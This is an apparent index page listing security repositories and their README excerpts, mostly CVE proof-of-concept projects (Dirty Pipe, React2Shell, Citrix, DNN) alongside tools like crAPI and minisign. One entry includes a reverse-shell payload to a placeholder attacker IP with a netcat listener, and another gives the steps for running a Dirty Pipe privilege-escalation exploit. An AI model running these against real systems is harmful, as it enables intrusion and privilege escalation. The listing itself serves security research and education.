crAPI

crAPI c ompletely r idiculous API crAPI will help you to understand the ten most critical API security risks. crAPI is vulnerable by design, but you'll be able to safely run it to educate/train yourself. crAPI is modern, built on top of a microservices architecture. When time has come to buy your...

RCE-NodeJs

node-serialize — CVE-2017-5941 Note: This document is for defense and educational purposes only. No instructions for creating exploits or RCE are included. Summary: node-serialize 0.0.4 and similar outdated versions may pose a risk due to untrusted deserialization — always validate input before...

nextjs-CVE-2025-55182

CVE-2025-55182 / CVE-2025-66478 React2Shell - Next.js Remote Code Execution RCE PoC Critical vulnerability in Next.js Server Actions allowing unauthenticated Remote Code Execution via React Flight Protocol deserialization Overview This repository contains a Proof of Concept PoC for the critical R...

CVE-2025-64458-Demo

CVE-2025-64458 — Django Redirect DoS on Windows Description A denial-of-service DoS issue in Django’s redirect responses allows an attacker to trigger excessive CPU work during URL normalization when constructing redirect responses. On Windows, Python’s Unicode NFKC normalization is particularly...

CVE-2024-32002

PoC in Execution...

CVE-2025-48384-PoC

CVE-2025-48384-PoC This is not functional yet...

DirtyPIPE-CVE-2022-0847

CVE-2022-0847 POC Source: https://www.exploit-db.com/exploits/50808 1. Compile In Linux, compile the POC with gcc -o dirty dirty.c 2. Usage Execute the program with ./dirty SUID, where SUID refers to the path of a program with the SUID bit set. Commonly, you can use /usr/bin/passwd, i.e., run...

cve-2015-8562-exploit

This repository does not have a README...

CVE-2021-21425

CVE-2021-21425 source: https://www.exploit-db.com/exploits/49973 1 change target ip 2 change payload echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

cve-2017-9822

CVE-2017-9822 Key Information Setup Environment Setup Debug Analysis Debug XmlSerializer Attack Gadget ObjectDataProvider ResourceDictionary From XML Insecure Deserialization to RCE CVE-2017-9822 DNN also known as DotNetNuke before version 9.1.1 has the ability to execute remote code via cookies,...

credactor

Credactor Find the secret. Fix it. Commit clean. Secret scanners are good at sounding the alarm and not much help putting it out. They hand you a list of leaked credentials and leave the cleanup to you. Credactor closes the loop: it finds a hardcoded secret and rewrites it in place, so a leak goe...

CVE-2025-55182

React2Shell PoC 此仓库提供了一个最小化的、故意存在漏洞的环境，用于测试安全扫描器对影响 React Server Components 和 Next.js 的最新严重 RCE 漏洞（React2Shell）的检测能力。 CVE-2025-55182 ：在 React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0 中存在一个预认证远程代码执行漏洞，涉及以下包：react-server-dom-parcel、react-server-dom-turbopack 和...

CVE-2025-68613

CVE-2025-68613 — n8n Workflow Automation Expression Engine Isolation Failure The author assumes no liability for misuse or damage caused by this research Provided strictly for educational and defensive purposes Description This repository contains a laboratory-grade analysis and a safe...

Change-Lockscreen

Change-Lockscreen Change-Lockscreen is a tool to trigger network authentications as SYSTEM by changing the Windows lock screen image from the command line to perform privilege escalation attacks such as the one described in the post linked below:...

kdmp-parser

kdmp-parser 该 C++ 库可解析 Windows 内核完整转储（WinDbg 中的 .dump /f）、BMP转储（WinDbg 中的 .dump /ka），以及 2022 年引入的更新转储类型。 该库支持加载 64 位转储，并提供对以下内容的读取访问： 上下文记录（context record）， 异常记录（exception record）， bugcheck 参数， 物理内存。 编译好的二进制文件可在 releases 部分获取。 特别感谢： hugsy 的诸多贡献：新的 Python 绑定、CI 改进、新的转储类型等， masthoon 提供了 Python...

minisign

Minisign 一个极其简单的工具，用于签名文件并验证签名。 目录 Minisign 目录 概述 文档 安装 预构建包 使用 Zig 构建 使用 CMake 和 GCC 或 Clang 构建 用法 生成密钥对 签署文件 验证签名 验证官方发布版本 Docker 与 Signify 的兼容性 签名确定性 其他工具、库与实现 概述 Minisign 是一个用于签名文件并验证签名的工具。它的设计目标是： 简单易用 安全（基于现代密码学） 精简（专注于做好一件事） 跨平台 Minisign 使用 Ed25519 公钥签名系统，签名体积小且速度快。 文档 如需完整文档，请参阅 Minisign ...

maritime-security-paper

Maritime Security Research Paper Comprehensive research on security vulnerabilities in autonomous maritime vessels and defense recommendations 📄 Overview This repository contains the complete maritime security research paper, documentation, and supplementary materials for academic publication and...

cve-2017-0358.sh

This repository does not have a README...

CVE-2024-22532

CVE-2024-22532 Description XnSoft XnView Classic 2.51.5 and NConvert 7.163 are vulnerable to Heap-based Buffer Overflow via a crafted .xwd file Vendor XnSoft Affected Products XnView Classic 2.51.5 NConvert 7.163 Impact Denial of Service Remote Code Execution PoC Denial of Service cmdline used...

CVE-2023-3519

Exploit Repository Stack-Overflow on Citrix CVE-2023-3519 Video Demonstration PoC: https://github.com/Mohammaddvd/CVE-2023-3519/assets/108727157/97fde2d9-2110-40bb-ae08-19163927115c Disclaimer This code is intended solely for educational purposes and ethical use in understanding security...